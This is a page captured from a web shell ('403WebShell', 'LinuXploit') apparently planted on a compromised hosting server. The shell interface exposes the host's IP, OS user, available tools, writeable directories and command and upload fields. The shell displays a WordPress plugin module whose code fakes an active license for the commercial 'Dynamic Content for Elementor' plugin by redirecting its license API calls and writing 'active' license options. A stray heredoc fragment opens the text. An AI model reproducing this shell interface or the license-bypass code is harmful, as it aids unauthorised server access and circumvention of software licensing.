$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules//dynamic-content-for-elementor.php
<?php
/**
 * Dynamic Content for Elementor module.
 *
 * Redirects Dynamic.ooo license API calls to GLS3 and manages license data.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Dynamic Content for Elementor license module.
 */
class Dynamic_Content_For_Elementor extends AbstractModule {

	/**
	 * License option prefix.
	 *
	 * @var string
	 */
	private string $prefix = 'dce';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'dynamic-content-for-elementor';
		$this->name        = 'Dynamic Content for Elementor';
		$this->description = 'Manages Dynamic Content for Elementor license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'dynamic-content-for-elementor',
			'plugin_file' => 'dynamic-content-for-elementor.php',
		);
		$this->target_id   = '177314438';

		$this->update_transients = array(
			'dynamic-content-for-elementor_update_checker' => array(
				array(
					array(
						'status_code'    => 's205',
						'message'        => 'License is active',
						'license_status' => 'active',
					),
				),
			),
		);

		$this->blocked_domains = array(
			'license.dynamic.ooo' => array(
				'response' => array(
					array(
						'status_code'    => 's205',
						'message'        => 'License is active',
						'license_status' => 'active',
					),
				),
			),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		// Redirect all license.dynamic.ooo API calls to GLS3.
		ApiRedirector::create(
			'https://license.dynamic.ooo',
			HELLOPACK_GLS3_URL . '/dynamic-content-for-elementor'
		);

		// Set up license data.
		$this->setup_license();
	}

	/**
	 * Set up DCE license data.
	 */
	private function setup_license(): void {
		$token = Options::get( 'token' );
		if ( empty( $token ) ) {
			return;
		}

		$current_key    = get_option( $this->prefix . '_license_key' );
		$current_status = get_option( $this->prefix . '_license_status' );

		if ( (string) $token === $current_key && 'active' === $current_status ) {
			return;
		}

		// Get current domain (same format DCE uses).
		$domain = get_bloginfo( 'wpurl' );
		$domain = str_replace( 'https://', '', $domain );
		$domain = str_replace( 'http://', '', $domain );

		// Set license data.
		update_option( $this->prefix . '_license_key', (string) $token );
		update_option( $this->prefix . '_license_status', 'active' );
		update_option( $this->prefix . '_license_domain', $domain );

		// Clear any license errors.
		delete_option( $this->prefix . '_license_error' );
	}

	/**
	 * Cleanup on disable — reset license status.
	 */
	public function cleanup(): void {
		update_option( $this->prefix . '_license_status', 'inactive' );
		hellopack_delete_option( $this->prefix . '_license_error' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit